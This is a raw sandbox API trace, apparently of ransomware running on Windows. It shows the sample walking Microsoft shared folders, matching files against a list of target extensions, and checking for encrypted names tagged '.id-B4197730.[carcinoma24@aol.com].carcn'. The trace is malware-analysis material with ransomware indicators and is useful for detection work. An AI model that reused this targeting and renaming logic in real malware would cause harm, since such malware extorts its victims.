[0168.069] lstrlenW (lpString=".dbf") returned 4 [0168.069] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.069] lstrlenW (lpString=".1cd") returned 4 [0168.069] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.069] lstrlenW (lpString=".jpg") returned 4 [0168.069] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.069] lstrlenW (lpString=".doc") returned 4 [0168.069] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString=".docx") returned 5 [0168.069] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0168.069] lstrlenW (lpString=".pdf") returned 4 [0168.069] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString=".xls") returned 4 [0168.069] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString=".xlsx") returned 5 [0168.069] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0168.069] lstrlenW (lpString=".ppt") returned 4 [0168.069] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.069] lstrlenW (lpString=".zip") returned 4 [0168.070] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.070] lstrlenW (lpString=".rar") returned 4 [0168.070] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.070] lstrlenW (lpString=".bz2") returned 4 [0168.070] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.070] lstrlenW (lpString=".7z") returned 3 [0168.070] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.070] lstrlenW (lpString=".dbf") returned 4 [0168.070] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.070] lstrlenW (lpString=".1cd") returned 4 [0168.070] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.070] lstrlenW (lpString=".jpg") returned 4 [0168.070] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.070] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0168.070] lstrlenW (lpString="ipscat.xml") returned 10 [0168.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.550] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=2592) returned 1 [0169.550] CloseHandle (hObject=0x2d8) returned 1 [0169.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0169.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0169.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.550] lstrlenW (lpString=".doc") returned 4 [0169.550] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0169.550] lstrlenW (lpString=".docx") returned 5 [0169.550] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0169.550] lstrlenW (lpString=".pdf") returned 4 [0169.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0169.550] lstrlenW (lpString=".xls") returned 4 [0169.550] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0169.550] lstrlenW (lpString=".xlsx") returned 5 [0169.551] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0169.551] lstrlenW (lpString=".ppt") returned 4 [0169.551] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.551] lstrlenW (lpString=".zip") returned 4 [0169.551] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0169.551] lstrlenW (lpString=".rar") returned 4 [0169.551] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString=".bz2") returned 4 [0169.551] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString=".7z") returned 3 [0169.551] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.551] lstrlenW (lpString=".dbf") returned 4 [0169.551] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.551] lstrlenW (lpString=".1cd") returned 4 [0169.551] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.551] lstrlenW (lpString=".jpg") returned 4 [0169.551] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.551] lstrlenW (lpString=".doc") returned 4 [0169.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0169.551] lstrlenW (lpString=".docx") returned 5 [0169.551] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0169.551] lstrlenW (lpString=".pdf") returned 4 [0169.552] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString=".xls") returned 4 [0169.552] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString=".xlsx") returned 5 [0169.552] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0169.552] lstrlenW (lpString=".ppt") returned 4 [0169.552] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.552] lstrlenW (lpString=".zip") returned 4 [0169.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0169.552] lstrlenW (lpString=".rar") returned 4 [0169.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString=".bz2") returned 4 [0169.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString=".7z") returned 3 [0169.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0169.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.552] lstrlenW (lpString=".dbf") returned 4 [0169.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.552] lstrlenW (lpString=".1cd") returned 4 [0169.552] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0169.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0169.552] lstrlenW (lpString=".jpg") returned 4 [0169.552] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0169.552] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0169.552] lstrlenW (lpString="ipsdan.xml") returned 10 [0169.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0174.361] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=2514) returned 1 [0174.361] CloseHandle (hObject=0x304) returned 1 [0174.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0174.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0174.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.361] lstrlenW (lpString=".doc") returned 4 [0174.361] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0174.361] lstrlenW (lpString=".docx") returned 5 [0174.361] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0174.361] lstrlenW (lpString=".pdf") returned 4 [0174.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".xls") returned 4 [0174.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".xlsx") returned 5 [0174.362] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0174.362] lstrlenW (lpString=".ppt") returned 4 [0174.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.362] lstrlenW (lpString=".zip") returned 4 [0174.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0174.362] lstrlenW (lpString=".rar") returned 4 [0174.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".bz2") returned 4 [0174.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".7z") returned 3 [0174.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0174.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.362] lstrlenW (lpString=".dbf") returned 4 [0174.362] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.362] lstrlenW (lpString=".1cd") returned 4 [0174.362] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.362] lstrlenW (lpString=".jpg") returned 4 [0174.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.362] lstrlenW (lpString=".doc") returned 4 [0174.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".docx") returned 5 [0174.362] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0174.362] lstrlenW (lpString=".pdf") returned 4 [0174.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".xls") returned 4 [0174.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0174.362] lstrlenW (lpString=".xlsx") returned 5 [0174.363] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0174.363] lstrlenW (lpString=".ppt") returned 4 [0174.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.363] lstrlenW (lpString=".zip") returned 4 [0174.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0174.363] lstrlenW (lpString=".rar") returned 4 [0174.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0174.363] lstrlenW (lpString=".bz2") returned 4 [0174.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0174.363] lstrlenW (lpString=".7z") returned 3 [0174.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.363] lstrlenW (lpString=".dbf") returned 4 [0174.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.363] lstrlenW (lpString=".1cd") returned 4 [0174.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0174.363] lstrlenW (lpString=".jpg") returned 4 [0174.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0174.363] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0174.363] lstrlenW (lpString="ipsesp.xml") returned 10 [0174.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0174.531] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3024) returned 1 [0174.531] CloseHandle (hObject=0x2fc) returned 1 [0174.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0174.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0174.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.532] lstrlenW (lpString=".doc") returned 4 [0174.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString=".docx") returned 5 [0174.532] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0174.532] lstrlenW (lpString=".pdf") returned 4 [0174.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString=".xls") returned 4 [0174.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString=".xlsx") returned 5 [0174.532] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0174.532] lstrlenW (lpString=".ppt") returned 4 [0174.532] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.532] lstrlenW (lpString=".zip") returned 4 [0174.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0174.532] lstrlenW (lpString=".rar") returned 4 [0174.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString=".bz2") returned 4 [0174.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString=".7z") returned 3 [0174.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.532] lstrlenW (lpString=".dbf") returned 4 [0174.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.532] lstrlenW (lpString=".1cd") returned 4 [0174.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.532] lstrlenW (lpString=".jpg") returned 4 [0174.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0174.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.533] lstrlenW (lpString=".doc") returned 4 [0174.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString=".docx") returned 5 [0174.533] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0174.533] lstrlenW (lpString=".pdf") returned 4 [0174.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString=".xls") returned 4 [0174.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString=".xlsx") returned 5 [0174.533] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0174.533] lstrlenW (lpString=".ppt") returned 4 [0174.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.533] lstrlenW (lpString=".zip") returned 4 [0174.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0174.533] lstrlenW (lpString=".rar") returned 4 [0174.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString=".bz2") returned 4 [0174.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString=".7z") returned 3 [0174.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0174.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.533] lstrlenW (lpString=".dbf") returned 4 [0174.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.533] lstrlenW (lpString=".1cd") returned 4 [0174.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0174.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0174.533] lstrlenW (lpString=".jpg") returned 4 [0174.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0174.533] lstrcmpiW (lpString1=".jpg", lpString2=".carcn") returned 1 [0174.534] lstrlenW (lpString="Bears.jpg") returned 9 [0174.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.540] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1074) returned 1 [0175.540] CloseHandle (hObject=0x370) returned 1 [0175.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0175.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.541] lstrlenW (lpString=".doc") returned 4 [0175.541] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0175.541] lstrlenW (lpString=".docx") returned 5 [0175.541] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0175.541] lstrlenW (lpString=".pdf") returned 4 [0175.541] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0175.541] lstrlenW (lpString=".xls") returned 4 [0175.541] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0175.541] lstrlenW (lpString=".xlsx") returned 5 [0175.541] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0175.541] lstrlenW (lpString=".ppt") returned 4 [0175.541] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0175.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.541] lstrlenW (lpString=".zip") returned 4 [0175.541] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0175.541] lstrlenW (lpString=".rar") returned 4 [0175.541] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0175.541] lstrlenW (lpString=".bz2") returned 4 [0175.541] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0175.541] lstrlenW (lpString=".7z") returned 3 [0175.541] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0175.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString=".dbf") returned 4 [0175.542] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0175.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString=".1cd") returned 4 [0175.542] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0175.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString=".jpg") returned 4 [0175.542] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0175.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString=".doc") returned 4 [0175.542] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0175.542] lstrlenW (lpString=".docx") returned 5 [0175.542] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0175.542] lstrlenW (lpString=".pdf") returned 4 [0175.542] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0175.542] lstrlenW (lpString=".xls") returned 4 [0175.542] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0175.542] lstrlenW (lpString=".xlsx") returned 5 [0175.542] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0175.542] lstrlenW (lpString=".ppt") returned 4 [0175.542] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0175.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString=".zip") returned 4 [0175.542] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0175.542] lstrlenW (lpString=".rar") returned 4 [0175.542] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0175.542] lstrlenW (lpString=".bz2") returned 4 [0175.542] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0175.542] lstrlenW (lpString=".7z") returned 3 [0175.542] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0175.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.542] lstrlenW (lpString=".dbf") returned 4 [0175.542] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0175.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.543] lstrlenW (lpString=".1cd") returned 4 [0175.543] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0175.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0175.543] lstrlenW (lpString=".jpg") returned 4 [0175.543] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0175.543] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0175.543] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0175.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0176.045] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=237) returned 1 [0176.045] CloseHandle (hObject=0x388) returned 1 [0176.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0176.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green 